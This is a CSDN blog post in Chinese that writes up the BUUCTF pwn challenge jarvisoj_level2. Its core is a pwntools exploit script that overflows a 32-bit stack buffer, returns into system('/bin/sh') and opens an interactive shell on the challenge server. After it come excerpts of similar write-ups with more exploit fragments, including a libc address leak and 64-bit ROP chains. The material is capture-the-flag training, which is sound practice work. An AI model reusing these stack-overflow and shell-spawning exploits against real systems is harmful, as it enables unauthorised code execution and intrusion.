buuctf jarvisoj_level2

最新推荐文章于 2024-07-05 00:58:41 发布
最新推荐文章于 2024-07-05 00:58:41 发布
阅读量292 收藏
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/carol2358/article/details/105616104
版权

水题

可以在ida里找到system和/bin/sh（alt+t）
然后构造payload就完事了

from pwn import * 
from LibcSearcher import * 
context(log_level = 'debug',arch ='i386',os = 'linux' ) 
r = remote('node3.buuoj.cn', 28847) 
#r = process('./xxx') 

system_addr = 0x08048320
binsh_addr = 0x0804A024

p = flat(['a'*0x88, 'b'*4, system_addr, 'b'*4, binsh_addr])
r.sendline(p)

r.interactive()
真岛忍
关注
BUUCTF jarvisoj_level0
m0_54262894的博客
10-27 302
先checksec，仅开启了NX保护 运行一下 放入ida中 查看main函数 没有什么关键信息，双击vulnerable_function() 在这里我们看到了漏洞 buf定义了80个字节，而我们可以输入更多的数据 接着找找后门函数 这道题很简单，已经把后门给我们展示出来了 记住后门函数的地址0x400596 做完以上步骤我们就有思路了： 覆盖buf 的80个字节 因为是64位的文件，然后再加8个字节...
BUUCTF---jarvisoj_level4
qq_33010875的博客
09-26 284
环境：WSL2，ubuntu16.04，python2 checksec文件: 将文件拖入ida 溢出点： 和level3不同的是 read函数之前没有调用write函数，因此要泄露libc的基地址需要用read函数，利用write函数将read函数在got表中的地址泄露出来 payload = (0x88+0x04)*'a'+p32(write_plt)+p32(main_addr)+p(1)+p32(read_got)+p(4) 接受泄露出来的地址 read_addr = u32(io.recv(
[buuctf]jarvisoj_level2
逆向萌新的博客
06-19 495
[buuctf]jarvisoj_level2
BUUCTF jarvisoj_level2
、moddemod
06-12 543
exp from pwn import * context(log_level = 'debug') proc_name = './level2' p = process(proc_name) # p = remote('node3.buuoj.cn', 26643) elf = ELF(proc_name) system_addr = elf.sym['system'] main_addr = elf.sym['main'] bin_sh_str = 0x0804a024 payload = 'a'..
【BUUCTF-PWN】13-jarvisoj_level2_x64
最新发布
燕麦葡萄干的博客
07-05 420
ret指令的地址，再接着是’/bin/sh’字符串的地址，最后是system()函数的地址。ret处，该指令会将当前栈顶的元素（‘/bin/sh’字符串的地址）出栈并存入rdi中，并返回到下一条指令处。此时栈中就只有system()函数的地址了，所以下一条指令正是system()，而它需要的参数正好就在rdi寄存器中，这样就执行了system(’/bin/sh’)现在只需要让函数返回到system，并传入参数“/bin/sh”就可以了。32位的比较简单，只需要返回地址+下一次的返回地址+参数1+参数2+…
【BUUCTF - PWN】jarvisoj_level2
古月浪子的博客
04-05 664
checksec一下，栈溢出 IDA打开看看，很容易找到溢出点，/bin/sh字符串程序里也有现成的 from pwn import * from LibcSearcher import * context.os='linux' context.arch='amd64' context.log_level='debug' sl=lambda x:io.sendline(x) ru=lamb...
BUUCTF-Pwn-jarvisoj_level2
餐桌上的猫
02-15 2337
题目截图 检查文件信息，开启了NX 用IDA打开查看字符串，存在/bin/sh，检查交叉引用发现并没有被使用 查看函数表存在system函数 进入主函数反汇编查看 进入函数vulnerable_function()查看，发现存在栈溢出漏洞，就可以利用现有system函数和/bin/sh字符串getshell exp from pwn import* r=remote('node4.buuoj.cn',28083) str_bin_sh=0x804a024 call_system=0x8048
buuctf之jarvisoj_level2
weixin_54452942的博客
04-11 586
buuctf--pwn
BUUCTF_jarvisoj_level1
qq_39869547的博客
02-06 988
和原题的差别在于，远程不回显栈地址。直接常规栈溢出即可 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from LibcSearcher import * elf = ELF("./level1") shellcode = asm(shellcraft.sh()) io = remote("node3.buuoj.c...
BUUCTF：jarvisoj_level3_x64（write up）
qq_44768749的博客
08-24 948
BUUCTF：jarvisoj_level3_x640x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 64位程序，仅开启栈不可执行保护 0x02 运行 输入一个字符串 0x03 IDA 字符串可输入长度可造成栈溢出 0x04 思路 没有提供system函数和"/bin/sh"的地址 第一次栈溢出泄露read函数地址来得到libc版本，从而获取system函数和"/bin/sh"的地址，并且返回主函数 这里有个难点就是参数需要放到对应
BUUCTF：jarvisoj_level4（write up）
qq_44768749的博客
08-24 984
这里写目录标题0x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp 0x01 文件分析 开启了栈不可执行、部分RELRO保护 0x02 运行 简单的输入一个字符串 0x03 IDA 漏洞点在vulnerable_function输入长度可以造成栈溢出 0x04 思路 没有提供system函数和"/bin/sh"的地址 第一次栈溢出泄露libc版本，从而获取system函数和"/bin/sh"的地址，并且返回主函数 第二次栈溢出跳转执行system("/bin/
[BUUCTF-pwn]——jarvisoj_level2
Y_peak的博客
02-10 840
[BUUCTF-pwn]——jarvisoj_level2 题目地址:https://buuoj.cn/challenges#jarvisoj_level2 checksec 一下下, 32程序 IDA中看下,发现了system函数还是两个,有可利用的栈溢出read函数,shift+F12,还发现了"/bin/sh"字符串. 所以exploit就如下 exploit from pwn import * p = remote("node3.buuoj.cn",28375) binsh = 0
[BUUCTF]PWN------jarvisoj_level2
BangSen1的博客
01-20 319
jarvisoj_level2 例行检查，32bit，开启NX保护。 nc 一下 ，Hello world，没什么信息 用32位IDA打开，看到了/bin/sh,跟进一下。 想查看调用函数的，但是看不了，所幸地址已经给出，所以shell_addr=0x804A024 system_addr=0x8048320 直接利用这些构造 system（/bin/sh）去执行 找到输入点 buf的大小是0x88，读入的数据大小是0x100，多余空间足以构造rop exp flag ...
[BUUCTF]PWN16——jarvisoj_level2
mcmuyanga的博客
09-01 2143
[BUUCTF]PWN16——jarvisoj_level2 附件 步骤 例行检查，32位，开启了nx保护 试运行一下程序 32位ida载入，shift+f12查看一下程序里的字符串，发现了system函数和 /bin/sh 字符串 双击跟进，ctrl+x本想查看调用该字符串的函数的，没有找到，但是程序里有这些字符串的位置， shell_addr=0x804a024 system_addr=0x8048320 我们可以直接利用这些构造 system（/bin/sh）去执行 跟进试运行时候看到的字
jarvisoj_level2【BUUCTF】
qq_41696518的博客
08-26 726
jarvisoj_level2【BUUCTF】
jarvisoj_level2
zip471642048的博客
06-22 160
32位没有canary 基本上就上栈溢出的简单题 exp
【BUUCTF】jarvisoj_level2_x64 Write Up
古月浪子的博客
08-06 633
漏洞函数里面可以看到，我们可以栈溢出 题目使用了system函数，我们可以直接调用 程序里面藏了一个binsh 接下来只需要构造rop链了 64位的函数调用的第一个参数由rdi寄存器传递，很显然需要用到pop rdi这个gadget，并且几乎每个64位程序里面都能找到它 再需要注意的就是，system调用的时候需要栈对齐，这里采用一个ret来对齐栈 from pwn import * from LibcSearcher import * from struct import pack context..
buuctf jarvisoj_level2_x64
carol2358的博客
04-22 394
水题 栈溢出，system和binsh都可以用gdb找到 exp： from pwn import * from LibcSearcher import * local_file = './level2_x64' local_libc = '/usr/lib/x86_64-linux-gnu/libc-2.29.so' remote_libc = './libc.so.6' s...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值